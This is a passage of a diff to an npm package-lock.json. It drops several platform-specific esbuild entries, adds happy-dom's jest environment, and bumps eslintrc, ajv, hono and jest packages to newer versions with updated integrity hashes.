- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/linux-arm64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.1.tgz",
- "integrity": "sha512-jaN3dHi0/DDPelk0nLcXRm1q7DNJpjXy7yWaWvbfkPvI+7XNSc/lDOnCLN7gzsyzgu6qSAmgSvP9oXAhP973uQ==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/linux-ia32": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.1.tgz",
- "integrity": "sha512-OJykPaF4v8JidKNGz8c/q1lBO44sQNUQtq1KktJXdBLn1hPod5rE/Hko5ugKKZd+D2+o1a9MFGUEIUwO2YfgkQ==",
- "cpu": [
- "ia32"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/linux-loong64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.1.tgz",
- "integrity": "sha512-nGfornQj4dzcq5Vp835oM/o21UMlXzn79KobKlcs3Wz9smwiifknLy4xDCLUU0BWp7b/houtdrgUz7nOGnfIYg==",
- "cpu": [
- "loong64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/linux-mips64el": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.1.tgz",
- "integrity": "sha512-1osBbPEFYwIE5IVB/0g2X6i1qInZa1aIoj1TdL4AaAb55xIIgbg8Doq6a5BzYWgr+tEcDzYH67XVnTmUzL+nXg==",
- "cpu": [
- "mips64el"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/linux-ppc64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.1.tgz",
- "integrity": "sha512-/6VBJOwUf3TdTvJZ82qF3tbLuWsscd7/1w+D9LH0W/SqUgM5/JJD0lrJ1fVIfZsqB6RFmLCe0Xz3fmZc3WtyVg==",
- "cpu": [
- "ppc64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/linux-riscv64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.1.tgz",
- "integrity": "sha512-nSut/Mx5gnilhcq2yIMLMe3Wl4FK5wx/o0QuuCLMtmJn+WeWYoEGDN1ipcN72g1WHsnIbxGXd4i/MF0gTcuAjQ==",
- "cpu": [
- "riscv64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/linux-s390x": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.1.tgz",
- "integrity": "sha512-cEECeLlJNfT8kZHqLarDBQso9a27o2Zd2AQ8USAEoGtejOrCYHNtKP8XQhMDJMtthdF4GBmjR2au3x1udADQQQ==",
- "cpu": [
- "s390x"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/linux-x64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.1.tgz",
- "integrity": "sha512-xbfUhu/gnvSEg+EGovRc+kjBAkrvtk38RlerAzQxvMzlB4fXpCFCeUAYzJvrnhFtdeyVCDANSjJvOvGYoeKzFA==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/netbsd-arm64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.1.tgz",
- "integrity": "sha512-O96poM2XGhLtpTh+s4+nP7YCCAfb4tJNRVZHfIE7dgmax+yMP2WgMd2OecBuaATHKTHsLWHQeuaxMRnCsH8+5g==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "netbsd"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/netbsd-x64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.1.tgz",
- "integrity": "sha512-X53z6uXip6KFXBQ+Krbx25XHV/NCbzryM6ehOAeAil7X7oa4XIq+394PWGnwaSQ2WRA0KI6PUO6hTO5zeF5ijA==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "netbsd"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/openbsd-arm64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.1.tgz",
- "integrity": "sha512-Na9T3szbXezdzM/Kfs3GcRQNjHzM6GzFBeU1/6IV/npKP5ORtp9zbQjvkDJ47s6BCgaAZnnnu/cY1x342+MvZg==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "openbsd"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/openbsd-x64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.1.tgz",
- "integrity": "sha512-T3H78X2h1tszfRSf+txbt5aOp/e7TAz3ptVKu9Oyir3IAOFPGV6O9c2naym5TOriy1l0nNf6a4X5UXRZSGX/dw==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "openbsd"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/sunos-x64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.1.tgz",
- "integrity": "sha512-2H3RUvcmULO7dIE5EWJH8eubZAI4xw54H1ilJnRNZdeo8dTADEZ21w6J22XBkXqGJbe0+wnNJtw3UXRoLJnFEg==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "sunos"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/win32-arm64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.1.tgz",
- "integrity": "sha512-GE7XvrdOzrb+yVKB9KsRMq+7a2U/K5Cf/8grVFRAGJmfADr/e/ODQ134RK2/eeHqYV5eQRFxb1hY7Nr15fv1NQ==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/win32-ia32": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.1.tgz",
- "integrity": "sha512-uOxSJCIcavSiT6UnBhBzE8wy3n0hOkJsBOzy7HDAuTDE++1DJMRRVCPGisULScHL+a/ZwdXPpXD3IyFKjA7K8A==",
- "cpu": [
- "ia32"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/win32-x64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.1.tgz",
- "integrity": "sha512-Y1EQdcfwMSeQN/ujR5VayLOJ1BHaK+ssyk0AEzPjC+t1lITgsnccPqFjb6V+LsTp/9Iov4ysfjxLaGJ9RPtkVg==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "win32"
+ "openharmony"
],
"engines": {
"node": ">=18"
@@ -8458,20 +9533,20 @@
}
},
"node_modules/@eslint/eslintrc": {
- "version": "3.3.1",
- "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.1.tgz",
- "integrity": "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==",
+ "version": "3.3.4",
+ "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.4.tgz",
+ "integrity": "sha512-4h4MVF8pmBsncB60r0wSJiIeUKTSD4m7FmTFThG8RHlsg9ajqckLm9OraguFGZE4vVdpiI1Q4+hFnisopmG6gQ==",
"dev": true,
"license": "MIT",
"dependencies": {
- "ajv": "^6.12.4",
+ "ajv": "^6.14.0",
"debug": "^4.3.2",
"espree": "^10.0.1",
"globals": "^14.0.0",
"ignore": "^5.2.0",
"import-fresh": "^3.2.1",
- "js-yaml": "^4.1.0",
- "minimatch": "^3.1.2",
+ "js-yaml": "^4.1.1",
+ "minimatch": "^3.1.3",
"strip-json-comments": "^3.1.1"
},
"engines": {
@@ -8482,9 +9557,9 @@
}
},
"node_modules/@eslint/eslintrc/node_modules/ajv": {
- "version": "6.12.6",
- "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
- "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+ "version": "6.14.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz",
+ "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==",
"dev": true,
"license": "MIT",
"dependencies": {
@@ -9315,6 +10390,26 @@
"node": ">=6"
}
},
+ "node_modules/@happy-dom/jest-environment": {
+ "version": "20.8.3",
+ "resolved": "https://registry.npmjs.org/@happy-dom/jest-environment/-/jest-environment-20.8.3.tgz",
+ "integrity": "sha512-VMOfNvF7UPPHIc7SUrFqGXqJrkONYX6Vd0ZXblmjgb1JA2RFnrc1KiVodzG0c7IT5Q0jfA0CQjvlqWjQ/BYtkQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "happy-dom": "^20.8.3"
+ },
+ "engines": {
+ "node": ">=20.0.0"
+ },
+ "peerDependencies": {
+ "@jest/environment": ">=25.0.0",
+ "@jest/fake-timers": ">=25.0.0",
+ "@jest/types": ">=25.0.0",
+ "jest-mock": ">=25.0.0",
+ "jest-util": ">=25.0.0"
+ }
+ },
"node_modules/@headlessui/react": {
"version": "2.2.4",
"resolved": "https://registry.npmjs.org/@headlessui/react/-/react-2.2.4.tgz",
@@ -9336,9 +10431,9 @@
}
},
"node_modules/@hono/node-server": {
- "version": "1.19.9",
- "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.9.tgz",
- "integrity": "sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw==",
+ "version": "1.19.10",
+ "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.10.tgz",
+ "integrity": "sha512-hZ7nOssGqRgyV3FVVQdfi+U4q02uB23bpnYpdvNXkYTRRyWx84b7yf1ans+dnJ/7h41sGL3CeQTfO+ZGxuO+Iw==",
"license": "MIT",
"engines": {
"node": ">=18.14.1"
@@ -9776,29 +10871,6 @@
"resolved": "https://registry.npmjs.org/@ioredis/commands/-/commands-1.2.0.tgz",
"integrity": "sha512-Sx1pU8EM64o2BrqNpEO1CNLtKQwyhuXuqyfH7oGKCk+1a33d2r5saW8zNwm3j6BTExtjrv2BxTgzzkMwts6vGg=="
},
- "node_modules/@isaacs/balanced-match": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/@isaacs/balanced-match/-/balanced-match-4.0.1.tgz",
- "integrity": "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": "20 || >=22"
- }
- },
- "node_modules/@isaacs/brace-expansion": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/@isaacs/brace-expansion/-/brace-expansion-5.0.1.tgz",
- "integrity": "sha512-WMz71T1JS624nWj2n2fnYAuPovhv7EUhk69R6i9dsVyzxt5eM3bjwvgk9L+APE1TRscGysAVMANkB0jh0LQZrQ==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@isaacs/balanced-match": "^4.0.1"
- },
- "engines": {
- "node": "20 || >=22"
- }
- },
"node_modules/@isaacs/cliui": {
"version": "8.0.2",
"resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz",
@@ -9977,18 +11049,19 @@
}
},
"node_modules/@jest/environment": {
- "version": "29.7.0",
- "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz",
- "integrity": "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw==",
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.2.0.tgz",
+ "integrity": "sha512-/QPTL7OBJQ5ac09UDRa3EQes4gt1FTEG/8jZ/4v5IVzx+Cv7dLxlVIvfvSVRiiX2drWyXeBjkMSR8hvOWSog5g==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "@jest/fake-timers": "^29.7.0",
- "@jest/types": "^29.6.3",
+ "@jest/fake-timers": "30.2.0",
+ "@jest/types": "30.2.0",
"@types/node": "*",
- "jest-mock": "^29.7.0"
+ "jest-mock": "30.2.0"
},
"engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/@jest/environment-jsdom-abstract": {
@@ -10019,40 +11092,6 @@
}
}
},
- "node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/environment": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.2.0.tgz",
- "integrity": "sha512-/QPTL7OBJQ5ac09UDRa3EQes4gt1FTEG/8jZ/4v5IVzx+Cv7dLxlVIvfvSVRiiX2drWyXeBjkMSR8hvOWSog5g==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/fake-timers": "30.2.0",
- "@jest/types": "30.2.0",
- "@types/node": "*",
- "jest-mock": "30.2.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/fake-timers": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.2.0.tgz",
- "integrity": "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/types": "30.2.0",
- "@sinonjs/fake-timers": "^13.0.0",
- "@types/node": "*",
- "jest-message-util": "30.2.0",
- "jest-mock": "30.2.0",
- "jest-util": "30.2.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
"node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/schemas": {
"version": "30.0.5",
"resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz",
@@ -10092,41 +11131,6 @@
"dev": true,
"license": "MIT"
},
- "node_modules/@jest/environment-jsdom-abstract/node_modules/@sinonjs/fake-timers": {
- "version": "13.0.5",
- "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz",
- "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==",
- "dev": true,
- "license": "BSD-3-Clause",
- "dependencies": {
- "@sinonjs/commons": "^3.0.1"
- }
- },
- "node_modules/@jest/environment-jsdom-abstract/node_modules/@types/jsdom": {
- "version": "21.1.7",
- "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-21.1.7.tgz",
- "integrity": "sha512-yOriVnggzrnQ3a9OKOCxaVuSug3w3/SbOj5i7VwXWZEyUNl3bLF9V3MfxGbZKuwqJOQyRfqXyROBB1CoZLFWzA==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@types/node": "*",
- "@types/tough-cookie": "*",
- "parse5": "^7.0.0"
- }
- },
- "node_modules/@jest/environment-jsdom-abstract/node_modules/ansi-styles": {
- "version": "5.2.0",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
- "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
"node_modules/@jest/environment-jsdom-abstract/node_modules/ci-info": {
"version": "4.3.1",
"resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.1.tgz",
@@ -10143,42 +11147,6 @@
"node": ">=8"
}
},
- "node_modules/@jest/environment-jsdom-abstract/node_modules/jest-message-util": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.2.0.tgz",
- "integrity": "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@babel/code-frame": "^7.27.1",
- "@jest/types": "30.2.0",
- "@types/stack-utils": "^2.0.3",
- "chalk": "^4.1.2",
- "graceful-fs": "^4.2.11",
- "micromatch": "^4.0.8",
- "pretty-format": "30.2.0",
- "slash": "^3.0.0",
- "stack-utils": "^2.0.6"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "node_modules/@jest/environment-jsdom-abstract/node_modules/jest-mock": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.2.0.tgz",
- "integrity": "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/types": "30.2.0",
- "@types/node": "*",
- "jest-util": "30.2.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
"node_modules/@jest/environment-jsdom-abstract/node_modules/jest-util": {
"version": "30.2.0",
"resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.2.0.tgz",
@@ -10210,31 +11178,45 @@
"url": "https://github.com/sponsors/jonschlinkert"
}
},
- "node_modules/@jest/environment-jsdom-abstract/node_modules/pretty-format": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz",
- "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==",
+ "node_modules/@jest/environment/node_modules/@jest/schemas": {
+ "version": "30.0.5",
+ "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz",
+ "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==",
"dev": true,
"license": "MIT",
"dependencies": {
- "@jest/schemas": "30.0.5",
- "ansi-styles": "^5.2.0",
- "react-is": "^18.3.1"
+ "@sinclair/typebox": "^0.34.0"
},
"engines": {
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
- "node_modules/@jest/environment-jsdom-abstract/node_modules/slash": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
- "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+ "node_modules/@jest/environment/node_modules/@jest/types": {
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.2.0.tgz",
+ "integrity": "sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==",
"dev": true,
"license": "MIT",
+ "dependencies": {
+ "@jest/pattern": "30.0.1",
+ "@jest/schemas": "30.0.5",
+ "@types/istanbul-lib-coverage": "^2.0.6",
+ "@types/istanbul-reports": "^3.0.4",
+ "@types/node": "*",
+ "@types/yargs": "^17.0.33",
+ "chalk": "^4.1.2"
+ },
"engines": {
- "node": ">=8"
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
+ "node_modules/@jest/environment/node_modules/@sinclair/typebox": {
+ "version": "0.34.48",
+ "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.48.tgz",
+ "integrity": "sha512-kKJTNuK3AQOrgjjotVxMrCn1sUJwM76wMszfq1kdU4uYVJjvEWuFQ6HgvLt4Xz3fSmZlTOxJ/Ie13KnIcWQXFA==",
+ "dev": true,
+ "license": "MIT"
+ },
"node_modules/@jest/expect-utils": {
"version": "29.7.0",
"resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz",
@@ -10248,20 +11230,166 @@
}
},
"node_modules/@jest/fake-timers": {
- "version": "29.7.0",
- "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz",
- "integrity": "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ==",
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.2.0.tgz",
+ "integrity": "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "@jest/types": "^29.6.3",
- "@sinonjs/fake-timers": "^10.0.2",
+ "@jest/types": "30.2.0",
+ "@sinonjs/fake-timers": "^13.0.0",
"@types/node": "*",
- "jest-message-util": "^29.7.0",
- "jest-mock": "^29.7.0",
- "jest-util": "^29.7.0"
+ "jest-message-util": "30.2.0",
+ "jest-mock": "30.2.0",
+ "jest-util": "30.2.0"
},
"engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/@jest/fake-timers/node_modules/@jest/schemas": {
+ "version": "30.0.5",
+ "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz",
+ "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@sinclair/typebox": "^0.34.0"
+ },
+ "engines": {
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/@jest/fake-timers/node_modules/@jest/types": {
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.2.0.tgz",
+ "integrity": "sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jest/pattern": "30.0.1",
+ "@jest/schemas": "30.0.5",
+ "@types/istanbul-lib-coverage": "^2.0.6",
+ "@types/istanbul-reports": "^3.0.4",
+ "@types/node": "*",
+ "@types/yargs": "^17.0.33",
+ "chalk": "^4.1.2"
+ },
+ "engines": {
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/@jest/fake-timers/node_modules/@sinclair/typebox": {
+ "version": "0.34.48",
+ "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.48.tgz",
+ "integrity": "sha512-kKJTNuK3AQOrgjjotVxMrCn1sUJwM76wMszfq1kdU4uYVJjvEWuFQ6HgvLt4Xz3fSmZlTOxJ/Ie13KnIcWQXFA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@jest/fake-timers/node_modules/ansi-styles": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+ "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/@jest/fake-timers/node_modules/ci-info": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.4.0.tgz",
+ "integrity": "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/sibiraj-s"
+ }
+ ],
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/@jest/fake-timers/node_modules/jest-message-util": {
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.2.0.tgz",
+ "integrity": "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/code-frame": "^7.27.1",
+ "@jest/types": "30.2.0",
+ "@types/stack-utils": "^2.0.3",
+ "chalk": "^4.1.2",
+ "graceful-fs": "^4.2.11",
+ "micromatch": "^4.0.8",
+ "pretty-format": "30.2.0",
+ "slash": "^3.0.0",
+ "stack-utils": "^2.0.6"
+ },
+ "engines": {
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/@jest/fake-timers/node_modules/jest-util": {
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.2.0.tgz",
+ "integrity": "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jest/types": "30.2.0",
+ "@types/node": "*",
+ "chalk": "^4.1.2",
+ "ci-info": "^4.2.0",
+ "graceful-fs": "^4.2.11",
+ "picomatch": "^4.0.2"
+ },
+ "engines": {
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/@jest/fake-timers/node_modules/picomatch": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
+ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/@jest/fake-timers/node_modules/pretty-format": {
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz",
+ "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jest/schemas": "30.0.5",
